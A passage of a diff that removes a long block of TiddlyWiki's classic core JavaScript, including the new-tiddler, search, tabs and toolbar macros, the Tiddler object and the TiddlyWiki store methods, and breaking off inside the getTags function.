- if(tags.length > 0)
- btn.setAttribute("params",tags.join("|"));
- btn.setAttribute("newFocus",newFocus);
- btn.setAttribute("newTemplate",getParam(params,"template",DEFAULT_EDIT_TEMPLATE));
- if(customFields !== "")
- btn.setAttribute("customFields",customFields);
- var text = getParam(params,"text");
- if(text !== undefined)
- btn.setAttribute("newText",text);
- return btn;
-};
-
-config.macros.newTiddler.onClickNewTiddler = function()
-{
- var title = this.getAttribute("newTitle");
- if(this.getAttribute("isJournal") == "true") {
- title = new Date().formatString(title.trim());
- }
- var params = this.getAttribute("params");
- var tags = params ? params.split("|") : [];
- var focus = this.getAttribute("newFocus");
- var template = this.getAttribute("newTemplate");
- var customFields = this.getAttribute("customFields");
- if(!customFields && !store.isShadowTiddler(title))
- customFields = String.encodeHashMap(config.defaultCustomFields);
- story.displayTiddler(null,title,template,false,null,null);
- var tiddlerElem = story.getTiddler(title);
- if(customFields)
- story.addCustomFields(tiddlerElem,customFields);
- var text = this.getAttribute("newText");
- if(typeof text == "string" && story.getTiddlerField(title,"text"))
- story.getTiddlerField(title,"text").value = text.format([title]);
- var t;
- for(t=0;t<tags.length;t++)
- story.setTiddlerTag(title,tags[t],+1);
- story.focusTiddler(title,focus);
- return false;
-};
-
-config.macros.newTiddler.handler = function(place,macroName,params,wikifier,paramString)
-{
- if(!readOnly) {
- params = paramString.parseParams("anon",null,true,false,false);
- var title = params[1] && params[1].name == "anon" ? params[1].value : this.title;
- title = getParam(params,"title",title);
- this.createNewTiddlerButton(place,title,params,this.label,this.prompt,this.accessKey,"title",false);
- }
-};
-
-config.macros.newJournal.handler = function(place,macroName,params,wikifier,paramString)
-{
- if(!readOnly) {
- params = paramString.parseParams("anon",null,true,false,false);
- var title = params[1] && params[1].name == "anon" ? params[1].value : config.macros.timeline.dateFormat;
- title = getParam(params,"title",title);
- config.macros.newTiddler.createNewTiddlerButton(place,title,params,this.label,this.prompt,this.accessKey,"text",true);
- }
-};
-
-//--
-//-- Search macro
-//--
-
-config.macros.search.handler = function(place,macroName,params,wikifier,paramString,tiddler)
-{
- params = paramString.parseParams("anon",null,false,false,false);
- createTiddlyButton(place,this.label,this.prompt,this.onClick,"searchButton");
- var txt = createTiddlyElement(null,"input",null,"txtOptionInput searchField");
- txt.value = getParam(params,"anon","");
- if(config.browser.isSafari) {
- txt.setAttribute("type","search");
- txt.setAttribute("results","5");
- } else {
- txt.setAttribute("type","text");
- }
- place.appendChild(txt);
- txt.onkeyup = this.onKeyPress;
- txt.onfocus = this.onFocus;
- txt.setAttribute("size",this.sizeTextbox);
- txt.setAttribute("accessKey",getParam(params,"accesskey",this.accessKey));
- txt.setAttribute("autocomplete","off");
- txt.setAttribute("lastSearchText","");
- txt.setAttribute("placeholder",getParam(params,"placeholder",this.placeholder));
-};
-
-// Global because there's only ever one outstanding incremental search timer
-config.macros.search.timeout = null;
-
-config.macros.search.doSearch = function(txt)
-{
- if(txt.value.length > 0) {
- story.search(txt.value,config.options.chkCaseSensitiveSearch,config.options.chkRegExpSearch);
- txt.setAttribute("lastSearchText",txt.value);
- }
-};
-
-config.macros.search.onClick = function(e)
-{
- config.macros.search.doSearch(this.nextSibling);
- return false;
-};
-
-config.macros.search.onKeyPress = function(ev)
-{
- var me = config.macros.search;
- var e = ev || window.event;
- switch(e.keyCode) {
- case 9: // Tab
- return;
- case 13: // Ctrl-Enter
- case 10: // Ctrl-Enter on IE PC
- me.doSearch(this);
- break;
- case 27: // Escape
- this.value = "";
- clearMessage();
- break;
- }
- if(config.options.chkIncrementalSearch) {
- if(this.value.length > 2) {
- if(this.value != this.getAttribute("lastSearchText")) {
- if(me.timeout) {
- clearTimeout(me.timeout);
- }
- var txt = this;
- me.timeout = setTimeout(function() {me.doSearch(txt);},500);
- }
- } else {
- if(me.timeout) {
- clearTimeout(me.timeout);
- }
- }
- }
-};
-
-config.macros.search.onFocus = function(e)
-{
- this.select();
-};
-
-//--
-//-- Tabs macro
-//--
-
-config.macros.tabs.handler = function(place,macroName,params)
-{
- var cookie = params[0];
- var numTabs = (params.length-1)/3;
- var wrapper = createTiddlyElement(null,"div",null,"tabsetWrapper " + cookie);
- var tabset = createTiddlyElement(wrapper,"div",null,"tabset");
- tabset.setAttribute("cookie",cookie);
- var validTab = false;
- var t;
- for(t=0; t<numTabs; t++) {
- var label = params[t*3+1];
- var prompt = params[t*3+2];
- var content = params[t*3+3];
- var tab = createTiddlyButton(tabset,label,prompt,this.onClickTab,"tab tabUnselected");
- createTiddlyElement(tab,"span",null,null," ",{style:"font-size:0pt;line-height:0px"});
- tab.setAttribute("tab",label);
- tab.setAttribute("content",content);
- tab.title = prompt;
- if(config.options[cookie] == label)
- validTab = true;
- }
- if(!validTab)
- config.options[cookie] = params[1];
- place.appendChild(wrapper);
- this.switchTab(tabset,config.options[cookie]);
-};
-
-config.macros.tabs.onClickTab = function(e)
-{
- config.macros.tabs.switchTab(this.parentNode,this.getAttribute("tab"));
- return false;
-};
-
-config.macros.tabs.switchTab = function(tabset,tab)
-{
- var cookie = tabset.getAttribute("cookie");
- var theTab = null;
- var nodes = tabset.childNodes;
- var t;
- for(t=0; t<nodes.length; t++) {
- if(nodes[t].getAttribute && nodes[t].getAttribute("tab") == tab) {
- theTab = nodes[t];
- theTab.className = "tab tabSelected";
- } else {
- nodes[t].className = "tab tabUnselected";
- }
- }
- if(theTab) {
- if(tabset.nextSibling && tabset.nextSibling.className == "tabContents")
- jQuery(tabset.nextSibling).remove();
- var tabContent = createTiddlyElement(null,"div",null,"tabContents");
- tabset.parentNode.insertBefore(tabContent,tabset.nextSibling);
- var contentTitle = theTab.getAttribute("content");
- wikify(store.getTiddlerText(contentTitle),tabContent,null,store.getTiddler(contentTitle));
- if(cookie) {
- config.options[cookie] = tab;
- saveOption(cookie);
- }
- }
-};
-
-//--
-//-- Tiddler toolbar
-//--
-
-// Create a toolbar command button
-config.macros.toolbar.createCommand = function(place,commandName,tiddler,className)
-{
- if(typeof commandName != "string") {
- var c = null;
- var t;
- for(t in config.commands) {
- if(config.commands[t] == commandName)
- c = t;
- }
- commandName = c;
- }
- if((tiddler instanceof Tiddler) && (typeof commandName == "string")) {
- var command = config.commands[commandName];
- if(command.isEnabled ? command.isEnabled(tiddler) : this.isCommandEnabled(command,tiddler)) {
- var text = command.getText ? command.getText(tiddler) : this.getCommandText(command,tiddler);
- var tooltip = command.getTooltip ? command.getTooltip(tiddler) : this.getCommandTooltip(command,tiddler);
- var cmd = command.type == "popup" ? this.onClickPopup : this.onClickCommand;
- var btn = createTiddlyButton(null,text,tooltip,cmd);
- btn.setAttribute("commandName",commandName);
- btn.setAttribute("tiddler",tiddler.title);
- jQuery(btn).addClass("command_" + commandName);
- if(className)
- jQuery(btn).addClass(className);
- place.appendChild(btn);
- }
- }
-};
-
-config.macros.toolbar.isCommandEnabled = function(command,tiddler)
-{
- var title = tiddler.title;
- var ro = tiddler.isReadOnly();
- var shadow = store.isShadowTiddler(title) && !store.tiddlerExists(title);
- return (!ro || (ro && !command.hideReadOnly)) && !(shadow && command.hideShadow);
-};
-
-config.macros.toolbar.getCommandText = function(command,tiddler)
-{
- return (tiddler.isReadOnly() && command.readOnlyText) || command.text;
-};
-
-config.macros.toolbar.getCommandTooltip = function(command,tiddler)
-{
- return (tiddler.isReadOnly() && command.readOnlyTooltip) || command.tooltip;
-};
-
-config.macros.toolbar.onClickCommand = function(ev)
-{
- var e = ev || window.event;
- e.cancelBubble = true;
- if(e.stopPropagation) e.stopPropagation();
- var command = config.commands[this.getAttribute("commandName")];
- return command.handler(e,this,this.getAttribute("tiddler"));
-};
-
-config.macros.toolbar.onClickPopup = function(ev)
-{
- var e = ev || window.event;
- e.cancelBubble = true;
- if(e.stopPropagation) e.stopPropagation();
- var popup = Popup.create(this);
- var command = config.commands[this.getAttribute("commandName")];
- var title = this.getAttribute("tiddler");
- popup.setAttribute("tiddler",title);
- command.handlePopup(popup,title);
- Popup.show();
- return false;
-};
-
-// Invoke the first command encountered from a given place that is tagged with a specified class
-config.macros.toolbar.invokeCommand = function(place,className,event)
-{
- var children = place.getElementsByTagName("a");
- var t;
- for(t=0; t<children.length; t++) {
- var c = children[t];
- if(jQuery(c).hasClass(className) && c.getAttribute && c.getAttribute("commandName")) {
- if(c.onclick instanceof Function)
- c.onclick.call(c,event);
- break;
- }
- }
-};
-
-config.macros.toolbar.onClickMore = function(ev)
-{
- var e = this.nextSibling;
- e.style.display = "inline";
- this.style.display = "none";
- return false;
-};
-
-config.macros.toolbar.onClickLess = function(ev)
-{
- var e = this.parentNode;
- var m = e.previousSibling;
- e.style.display = "none";
- m.style.display = "inline";
- return false;
-};
-
-config.macros.toolbar.handler = function(place,macroName,params,wikifier,paramString,tiddler)
-{
- var t;
- for(t=0; t<params.length; t++) {
- var btn;
- var c = params[t];
- switch(c) {
- case "!":
- createTiddlyText(place,this.separator);
- break;
- case "*":
- createTiddlyElement(place,"br");
- break;
- case "<":
- btn = createTiddlyButton(place,this.lessLabel,this.lessPrompt,config.macros.toolbar.onClickLess);
- jQuery(btn).addClass("lessCommand");
- break;
- case ">":
- btn = createTiddlyButton(place,this.moreLabel,this.morePrompt,config.macros.toolbar.onClickMore);
- jQuery(btn).addClass("moreCommand");
- var e = createTiddlyElement(place,"span",null,"moreCommand");
- e.style.display = "none";
- place = e;
- break;
- default:
- var className = "";
- switch(c.substr(0,1)) {
- case "+":
- className = "defaultCommand";
- c = c.substr(1);
- break;
- case "-":
- className = "cancelCommand";
- c = c.substr(1);
- break;
- }
- if(config.commands[c]) {
- this.createCommand(place,c,tiddler,className);
- } else {
- this.customCommand(place,c,wikifier,tiddler);
- }
- break;
- }
- }
-};
-
-// Overrideable function to extend toolbar handler
-config.macros.toolbar.customCommand = function(place,command,wikifier,tiddler)
-{
-};
-
-//--
-//-- Menu and toolbar commands
-//--
-
-config.commands.closeTiddler.handler = function(event,src,title)
-{
- if(story.isDirty(title) && !readOnly) {
- if(!confirm(config.commands.cancelTiddler.warning.format([title])))
- return false;
- }
- story.setDirty(title,false);
- story.closeTiddler(title,true);
- return false;
-};
-
-config.commands.closeOthers.handler = function(event,src,title)
-{
- story.closeAllTiddlers(title);
- return false;
-};
-
-config.commands.editTiddler.handler = function(event,src,title)
-{
- clearMessage();
- var tiddlerElem = story.getTiddler(title);
- var fields = tiddlerElem.getAttribute("tiddlyFields");
- story.displayTiddler(null,title,DEFAULT_EDIT_TEMPLATE,false,null,fields);
- var e = story.getTiddlerField(title,config.options.txtEditorFocus||"text");
- if(e) {
- setCaretPosition(e,0);
- }
- return false;
-};
-
-config.commands.saveTiddler.handler = function(event,src,title)
-{
- var newTitle = story.saveTiddler(title,event.shiftKey);
- if(newTitle)
- story.displayTiddler(null,newTitle);
- return false;
-};
-
-config.commands.cancelTiddler.handler = function(event,src,title)
-{
- if(story.hasChanges(title) && !readOnly) {
- if(!confirm(this.warning.format([title])))
- return false;
- }
- story.setDirty(title,false);
- story.displayTiddler(null,title);
- return false;
-};
-
-config.commands.deleteTiddler.handler = function(event,src,title)
-{
- var deleteIt = true;
- if(config.options.chkConfirmDelete)
- deleteIt = confirm(this.warning.format([title]));
- if(deleteIt) {
- store.removeTiddler(title);
- story.closeTiddler(title,true);
- autoSaveChanges();
- }
- return false;
-};
-
-config.commands.permalink.handler = function(event,src,title)
-{
- var t = encodeURIComponent(String.encodeTiddlyLink(title));
- if(window.location.hash != t)
- window.location.hash = t;
- return false;
-};
-
-config.commands.references.handlePopup = function(popup,title)
-{
- var references = store.getReferringTiddlers(title);
- var c = false;
- var r;
- for(r=0; r<references.length; r++) {
- if(references[r].title != title && !references[r].isTagged("excludeLists")) {
- createTiddlyLink(createTiddlyElement(popup,"li"),references[r].title,true);
- c = true;
- }
- }
- if(!c)
- createTiddlyElement(popup,"li",null,"disabled",this.popupNone);
-};
-
-config.commands.jump.handlePopup = function(popup,title)
-{
- story.forEachTiddler(function(title,element) {
- createTiddlyLink(createTiddlyElement(popup,"li"),title,true,null,false,null,true);
- });
-};
-
-config.commands.fields.handlePopup = function(popup,title)
-{
- var tiddler = store.fetchTiddler(title);
- if(!tiddler)
- return;
- var items = [];
- store.forEachField(tiddler,function(tiddler,fieldName,value){items.push({field:fieldName,value:value});},true);
- items.sort(function(a,b) {return a.field < b.field ? -1 : (a.field == b.field ? 0 : +1);});
- if(items.length > 0)
- ListView.create(popup,items,this.listViewTemplate);
- else
- createTiddlyElement(popup,"div",null,null,this.emptyText);
-};
-
-//--
-//-- Tiddler() object
-//--
-
-function Tiddler(title)
-{
- this.title = title;
- this.text = "";
- this.creator = null;
- this.modifier = null;
- this.created = new Date();
- this.modified = this.created;
- this.links = [];
- this.linksUpdated = false;
- this.tags = [];
- this.fields = {};
- return this;
-}
-
-Tiddler.prototype.getLinks = function()
-{
- if(this.linksUpdated==false)
- this.changed();
- return this.links;
-};
-
-// Returns the fields that are inherited in string field:"value" field2:"value2" format
-Tiddler.prototype.getInheritedFields = function()
-{
- var f = {};
- var i;
- for(i in this.fields) {
- if(i=="server.host" || i=="server.workspace" || i=="wikiformat"|| i=="server.type") {
- f[i] = this.fields[i];
- }
- }
- return String.encodeHashMap(f);
-};
-
-// Increment the changeCount of a tiddler
-Tiddler.prototype.incChangeCount = function()
-{
- var c = this.fields['changecount'];
- c = c ? parseInt(c,10) : 0;
- this.fields['changecount'] = String(c+1);
-};
-
-// Clear the changeCount of a tiddler
-Tiddler.prototype.clearChangeCount = function()
-{
- if(this.fields['changecount']) {
- delete this.fields['changecount'];
- }
-};
-
-Tiddler.prototype.doNotSave = function()
-{
- return this.fields['doNotSave'];
-};
-
-// Returns true if the tiddler has been updated since the tiddler was created or downloaded
-Tiddler.prototype.isTouched = function()
-{
- var changecount = this.fields.changecount || 0;
- return changecount > 0;
-};
-
-// Change the text and other attributes of a tiddler
-Tiddler.prototype.set = function(title,text,modifier,modified,tags,created,fields,creator)
-{
- this.assign(title,text,modifier,modified,tags,created,fields,creator);
- this.changed();
- return this;
-};
-
-// Change the text and other attributes of a tiddler without triggered a tiddler.changed() call
-Tiddler.prototype.assign = function(title,text,modifier,modified,tags,created,fields,creator)
-{
- if(title != undefined)
- this.title = title;
- if(text != undefined)
- this.text = text;
- if(modifier != undefined)
- this.modifier = modifier;
- if(modified != undefined)
- this.modified = modified;
- if(creator != undefined)
- this.creator = creator;
- if(created != undefined)
- this.created = created;
- if(fields != undefined)
- this.fields = fields;
- if(tags != undefined)
- this.tags = (typeof tags == "string") ? tags.readBracketedList() : tags;
- else if(this.tags == undefined)
- this.tags = [];
- return this;
-};
-
-// Get the tags for a tiddler as a string (space delimited, using [[brackets]] for tags containing spaces)
-Tiddler.prototype.getTags = function()
-{
- return String.encodeTiddlyLinkList(this.tags);
-};
-
-// Test if a tiddler carries a tag
-Tiddler.prototype.isTagged = function(tag)
-{
- return this.tags.indexOf(tag) != -1;
-};
-
-// Static method to convert "\n" to newlines, "\s" to "\"
-Tiddler.unescapeLineBreaks = function(text)
-{
- return text ? text.unescapeLineBreaks() : "";
-};
-
-// Convert newlines to "\n", "\" to "\s"
-Tiddler.prototype.escapeLineBreaks = function()
-{
- return this.text.escapeLineBreaks();
-};
-
-// Updates the secondary information (like links[] array) after a change to a tiddler
-Tiddler.prototype.changed = function()
-{
- this.links = [];
- var text = this.text;
- // remove 'quoted' text before scanning tiddler source
- text = text.replace(/\/%((?:.|\n)*?)%\//g,"").
- replace(/\{{3}((?:.|\n)*?)\}{3}/g,"").
- replace(/"""((?:.|\n)*?)"""/g,"").
- replace(/<nowiki\>((?:.|\n)*?)<\/nowiki\>/g,"").
- replace(/<html\>((?:.|\n)*?)<\/html\>/g,"").
- replace(/<script((?:.|\n)*?)<\/script\>/g,"");
- var t = this.autoLinkWikiWords() ? 0 : 1;
- var tiddlerLinkRegExp = t==0 ? config.textPrimitives.tiddlerAnyLinkRegExp : config.textPrimitives.tiddlerForcedLinkRegExp;
- tiddlerLinkRegExp.lastIndex = 0;
- var formatMatch = tiddlerLinkRegExp.exec(text);
- while(formatMatch) {
- var lastIndex = tiddlerLinkRegExp.lastIndex;
- if(t==0 && formatMatch[1] && formatMatch[1] != this.title) {
- // wikiWordLink
- if(formatMatch.index > 0) {
- var preRegExp = new RegExp(config.textPrimitives.unWikiLink+"|"+config.textPrimitives.anyLetter,"mg");
- preRegExp.lastIndex = formatMatch.index-1;
- var preMatch = preRegExp.exec(text);
- if(preMatch.index != formatMatch.index-1)
- this.links.pushUnique(formatMatch[1]);
- } else {
- this.links.pushUnique(formatMatch[1]);
- }
- }
- else if(formatMatch[2-t] && !config.formatterHelpers.isExternalLink(formatMatch[3-t])) // titledBrackettedLink
- this.links.pushUnique(formatMatch[3-t]);
- else if(formatMatch[4-t] && formatMatch[4-t] != this.title) // brackettedLink
- this.links.pushUnique(formatMatch[4-t]);
- tiddlerLinkRegExp.lastIndex = lastIndex;
- formatMatch = tiddlerLinkRegExp.exec(text);
- }
- this.linksUpdated = true;
-};
-
-Tiddler.prototype.getSubtitle = function()
-{
- var modifier = this.modifier;
- if(!modifier)
- modifier = config.messages.subtitleUnknown || "";
- var modified = this.modified;
- if(modified)
- modified = modified.toLocaleString();
- else
- modified = config.messages.subtitleUnknown || "";
- var f = config.messages.tiddlerLinkTooltip || "%0 - %1, %2";
- return f.format([this.title,modifier,modified]);
-};
-
-Tiddler.prototype.isReadOnly = function()
-{
- return readOnly;
-};
-
-Tiddler.prototype.autoLinkWikiWords = function()
-{
- return !(this.isTagged("systemConfig") || this.isTagged("excludeMissing"));
-};
-
-Tiddler.prototype.getServerType = function()
-{
- var serverType = null;
- if(this.fields['server.type'])
- serverType = this.fields['server.type'];
- if(!serverType)
- serverType = this.fields['wikiformat'];
- if(serverType && !config.adaptors[serverType])
- serverType = null;
- return serverType;
-};
-
-Tiddler.prototype.getAdaptor = function()
-{
- var serverType = this.getServerType();
- return serverType ? new config.adaptors[serverType]() : null;
-};
-
-//--
-//-- TiddlyWiki instance contains TiddlerS
-//--
-
-function TiddlyWiki(params)
-{
- var tiddlers = {}; // Hashmap by name of tiddlers
- if(params && params.config) {
- this.config = config;
- }
- this.tiddlersUpdated = false;
- this.namedNotifications = []; // Array of {name:,notify:} of notification functions
- this.notificationLevel = 0;
- this.slices = {}; // map tiddlerName->(map sliceName->sliceValue). Lazy.
- this.clear = function() {
- tiddlers = {};
- this.setDirty(false);
- };
- this.fetchTiddler = function(title) {
- var t = tiddlers[title];
- return t instanceof Tiddler ? t : null;
- };
- this.deleteTiddler = function(title) {
- delete this.slices[title];
- delete tiddlers[title];
- };
- this.addTiddler = function(tiddler) {
- delete this.slices[tiddler.title];
- tiddlers[tiddler.title] = tiddler;
- };
- this.forEachTiddler = function(callback) {
- var t;
- for(t in tiddlers) {
- var tiddler = tiddlers[t];
- if(tiddler instanceof Tiddler)
- callback.call(this,t,tiddler);
- }
- };
-}
-
-TiddlyWiki.prototype.setDirty = function(dirty)
-{
- this.dirty = dirty;
-};
-
-TiddlyWiki.prototype.isDirty = function()
-{
- return this.dirty;
-};
-
-TiddlyWiki.prototype.tiddlerExists = function(title)
-{
- var t = this.fetchTiddler(title);
- return t != undefined;
-};
-
-TiddlyWiki.prototype.isShadowTiddler = function(title)
-{
- return config.shadowTiddlers[title] === undefined ? false : true;
-};
-
-TiddlyWiki.prototype.isAvailable = function(title) {
- if (!title)
- return false;
- var s = title ? title.indexOf(config.textPrimitives.sectionSeparator) : -1;
- if(s!=-1)
- title = title.substr(0,s);
- return this.tiddlerExists(title) || this.isShadowTiddler(title);
-};
-
-TiddlyWiki.prototype.createTiddler = function(title)
-{
- var tiddler = this.fetchTiddler(title);
- if(!tiddler) {
- tiddler = new Tiddler(title);
- this.addTiddler(tiddler);
- this.setDirty(true);
- }
- return tiddler;
-};
-
-TiddlyWiki.prototype.getTiddler = function(title)
-{
- var t = this.fetchTiddler(title);
- if(t != undefined)
- return t;
- else
- return null;
-};
-
-TiddlyWiki.prototype.getShadowTiddlerText = function(title)
-{
- if(typeof config.shadowTiddlers[title] == "string")
- return config.shadowTiddlers[title];
- else
- return "";
-};
-
-// Retrieve tiddler contents
-TiddlyWiki.prototype.getTiddlerText = function(title,defaultText)
-{
- if(!title)
- return defaultText;
- var pos = title.indexOf(config.textPrimitives.sectionSeparator);
- var section = null;
- if(pos != -1) {
- section = title.substr(pos + config.textPrimitives.sectionSeparator.length);
- title = title.substr(0,pos);
- }
- pos = title.indexOf(config.textPrimitives.sliceSeparator);
- if(pos != -1) {
- var slice = this.getTiddlerSlice(title.substr(0,pos),title.substr(pos + config.textPrimitives.sliceSeparator.length));
- if(slice)
- return slice;
- }
- var tiddler = this.fetchTiddler(title);
- var text = tiddler ? tiddler.text : null;
- if(!tiddler && this.isShadowTiddler(title)) {
- text = this.getShadowTiddlerText(title);
- }
- if(text) {
- if(!section)
- return text;
- var re = new RegExp("(^!{1,6}[ \t]*" + section.escapeRegExp() + "[ \t]*\n)","mg");
- re.lastIndex = 0;
- var match = re.exec(text);
- if(match) {
- var t = text.substr(match.index+match[1].length);
- var re2 = /^!/mg;
- re2.lastIndex = 0;
- match = re2.exec(t); //# search for the next heading
- if(match)
- t = t.substr(0,match.index-1);//# don't include final \n
- return t;
- }
- return defaultText;
- }
- if(defaultText != undefined)
- return defaultText;
- return null;
-};
-
-TiddlyWiki.prototype.getRecursiveTiddlerText = function(title,defaultText,depth)
-{
- var bracketRegExp = new RegExp("(?:\\[\\[([^\\]]+)\\]\\])","mg");
- var text = this.getTiddlerText(title,null);
- if(text == null)
- return defaultText;
- var textOut = [];
- var match,lastPos = 0;
- do {
- match = bracketRegExp.exec(text);
- if(match) {
- textOut.push(text.substr(lastPos,match.index-lastPos));
- if(match[1]) {
- if(depth <= 0)
- textOut.push(match[1]);
- else
- textOut.push(this.getRecursiveTiddlerText(match[1],"",depth-1));
- }
- lastPos = match.index + match[0].length;
- } else {
- textOut.push(text.substr(lastPos));
- }
- } while(match);
- return textOut.join("");
-};
-
-//TiddlyWiki.prototype.slicesRE = /(?:^([\'\/]{0,2})~?([\.\w]+)\:\1[\t\x20]*([^\n]+)[\t\x20]*$)|(?:^\|([\'\/]{0,2})~?([\.\w]+)\:?\4\|[\t\x20]*([^\n]+)[\t\x20]*\|$)/gm;
-TiddlyWiki.prototype.slicesRE = /(?:^([\'\/]{0,2})~?([\.\w]+)\:\1[\t\x20]*([^\n]*)[\t\x20]*$)|(?:^\|([\'\/]{0,2})~?([\.\w]+)\:?\4\|[\t\x20]*([^\|\n]*)[\t\x20]*\|$)/gm;
-// @internal
-TiddlyWiki.prototype.calcAllSlices = function(title)
-{
- var slices = {};
- var text = this.getTiddlerText(title,"");
- this.slicesRE.lastIndex = 0;
- var m = this.slicesRE.exec(text);
- while(m) {
- if(m[2])
- slices[m[2]] = m[3];
- else
- slices[m[5]] = m[6];
- m = this.slicesRE.exec(text);
- }
- return slices;
-};
-
-// Returns the slice of text of the given name
-TiddlyWiki.prototype.getTiddlerSlice = function(title,sliceName)
-{
- var slices = this.slices[title];
- if(!slices) {
- slices = this.calcAllSlices(title);
- this.slices[title] = slices;
- }
- return slices[sliceName];
-};
-
-// Build an hashmap of the specified named slices of a tiddler
-TiddlyWiki.prototype.getTiddlerSlices = function(title,sliceNames)
-{
- var t,r = {};
- for(t=0; t<sliceNames.length; t++) {
- var slice = this.getTiddlerSlice(title,sliceNames[t]);
- if(slice)
- r[sliceNames[t]] = slice;
- }
- return r;
-};
-
-TiddlyWiki.prototype.suspendNotifications = function()
-{
- this.notificationLevel--;
-};
-
-TiddlyWiki.prototype.resumeNotifications = function()
-{
- this.notificationLevel++;
-};
-
-// Invoke the notification handlers for a particular tiddler
-TiddlyWiki.prototype.notify = function(title,doBlanket)
-{
- if(!this.notificationLevel) {
- var t;
- for(t=0; t<this.namedNotifications.length; t++) {
- var n = this.namedNotifications[t];
- if((n.name == null && doBlanket) || (n.name == title))
- n.notify(title);
- }
- }
-};
-
-// Invoke the notification handlers for all tiddlers
-TiddlyWiki.prototype.notifyAll = function()
-{
- if(!this.notificationLevel) {
- var t;
- for(t=0; t<this.namedNotifications.length; t++) {
- var n = this.namedNotifications[t];
- if(n.name)
- n.notify(n.name);
- }
- }
-};
-
-// Add a notification handler to a tiddler
-TiddlyWiki.prototype.addNotification = function(title,fn)
-{
- var i;
- for(i=0; i<this.namedNotifications.length; i++) {
- if((this.namedNotifications[i].name == title) && (this.namedNotifications[i].notify == fn))
- return this;
- }
- this.namedNotifications.push({name: title, notify: fn});
- return this;
-};
-
-TiddlyWiki.prototype.removeTiddler = function(title)
-{
- var tiddler = this.fetchTiddler(title);
- if(tiddler) {
- this.deleteTiddler(title);
- this.notify(title,true);
- this.setDirty(true);
- }
-};
-
-// Reset the sync status of a freshly synced tiddler
-TiddlyWiki.prototype.resetTiddler = function(title)
-{
- var tiddler = this.fetchTiddler(title);
- if(tiddler) {
- tiddler.clearChangeCount();
- this.notify(title,true);
- this.setDirty(true);
- }
-};
-
-TiddlyWiki.prototype.setTiddlerTag = function(title,status,tag)
-{
- var tiddler = this.fetchTiddler(title);
- if(tiddler) {
- var t = tiddler.tags.indexOf(tag);
- if(t != -1)
- tiddler.tags.splice(t,1);
- if(status)
- tiddler.tags.push(tag);
- tiddler.changed();
- tiddler.incChangeCount();
- this.notify(title,true);
- this.setDirty(true);
- }
-};
-
-TiddlyWiki.prototype.addTiddlerFields = function(title,fields)
-{
- var tiddler = this.fetchTiddler(title);
- if(!tiddler)
- return;
- merge(tiddler.fields,fields);
- tiddler.changed();
- tiddler.incChangeCount();
- this.notify(title,true);
- this.setDirty(true);
-};
-
-// Store tiddler in TiddlyWiki instance
-TiddlyWiki.prototype.saveTiddler = function(title,newTitle,newBody,modifier,modified,tags,fields,clearChangeCount,created,creator)
-{
- var tiddler;
- if(title instanceof Tiddler) {
- tiddler = title;
- tiddler.fields = merge(merge({},tiddler.fields),config.defaultCustomFields,true);
- title = tiddler.title;
- newTitle = title;
- } else {
- tiddler = this.fetchTiddler(title);
- if(tiddler) {
- created = created || tiddler.created; // Preserve created date
- creator = creator || tiddler.creator;
- this.deleteTiddler(title);
- } else {
- created = created || modified;
- tiddler = new Tiddler();
- }
- fields = merge(merge({},fields),config.defaultCustomFields,true);
- tiddler.set(newTitle,newBody,modifier,modified,tags,created,fields,creator);
- }
- this.addTiddler(tiddler);
- if(clearChangeCount)
- tiddler.clearChangeCount();
- else
- tiddler.incChangeCount();
- if(title != newTitle)
- this.notify(title,true);
- this.notify(newTitle,true);
- this.setDirty(true);
- return tiddler;
-};
-
-TiddlyWiki.prototype.incChangeCount = function(title)
-{
- var tiddler = this.fetchTiddler(title);
- if(tiddler)
- tiddler.incChangeCount();
-};
-
-TiddlyWiki.prototype.getLoader = function()
-{
- if(!this.loader)
- this.loader = new TW21Loader();
- return this.loader;
-};
-
-TiddlyWiki.prototype.getSaver = function()
-{
- if(!this.saver)
- this.saver = new TW21Saver();
- return this.saver;
-};
-
-// Return all tiddlers formatted as an HTML string
-TiddlyWiki.prototype.allTiddlersAsHtml = function()
-{
- return this.getSaver().externalize(store);
-};
-
-// Load contents of a TiddlyWiki from an HTML DIV
-TiddlyWiki.prototype.loadFromDiv = function(src,idPrefix,noUpdate)
-{
- this.idPrefix = idPrefix;
- var storeElem = (typeof src == "string") ? document.getElementById(src) : src;
- if(!storeElem)
- return;
- var tiddlers = this.getLoader().loadTiddlers(this,storeElem.childNodes);
- this.setDirty(false);
- if(!noUpdate) {
- var i;
- for(i = 0;i<tiddlers.length; i++)
- tiddlers[i].changed();
- }
- jQuery(document).trigger("loadTiddlers");
-};
-
-// Load contents of a TiddlyWiki from a string
-// Returns null if there's an error
-TiddlyWiki.prototype.importTiddlyWiki = function(text)
-{
- var posDiv = locateStoreArea(text);
- if(!posDiv)
- return null;
- var content = "<" + "html><" + "body>" + text.substring(posDiv[0],posDiv[1] + endSaveArea.length) + "<" + "/body><" + "/html>";
- // Create the iframe
- var iframe = document.createElement("iframe");
- iframe.style.display = "none";
- document.body.appendChild(iframe);
- var doc = iframe.document;
- if(iframe.contentDocument)
- doc = iframe.contentDocument; // For NS6
- else if(iframe.contentWindow)
- doc = iframe.contentWindow.document; // For IE5.5 and IE6
- // Put the content in the iframe
- doc.open();
- doc.writeln(content);
- doc.close();
- // Load the content into a TiddlyWiki() object
- var storeArea = doc.getElementById("storeArea");
- this.loadFromDiv(storeArea,"store");
- // Get rid of the iframe
- iframe.parentNode.removeChild(iframe);
- return this;
-};
-
-TiddlyWiki.prototype.updateTiddlers = function()
-{
- this.tiddlersUpdated = true;
- this.forEachTiddler(function(title,tiddler) {
- tiddler.changed();
- });
-};
-
-// Return an array of tiddlers matching a search regular expression
-TiddlyWiki.prototype.search = function(searchRegExp,sortField,excludeTag,match)
-{
- var candidates = this.reverseLookup("tags",excludeTag,!!match);
- var t,results = [];
- for(t=0; t<candidates.length; t++) {
- if((candidates[t].title.search(searchRegExp) != -1) || (candidates[t].text.search(searchRegExp) != -1))
- results.push(candidates[t]);
- }
- if(!sortField)
- sortField = "title";
- results.sort(function(a,b) {return a[sortField] < b[sortField] ? -1 : (a[sortField] == b[sortField] ? 0 : +1);});
- return results;
-};
-
-// Returns a list of all tags in use
-// excludeTag - if present, excludes tags that are themselves tagged with excludeTag
-// Returns an array of arrays where [tag][0] is the name of the tag and [tag][1] is the number of occurances
-TiddlyWiki.prototype.getTags = function(excludeTag)
-{
- var results = [];
- this.forEachTiddler(function(title,tiddler) {
- var g,c;
- for(g=0; g<tiddler.tags.length; g++) {
- var tag = tiddler.tags[g];
- var n = true;
- for(c=0; c<results.length; c++) {
- if(results[c][0] == tag) {
- n = false;
- results[c][1]++;
- }
- }
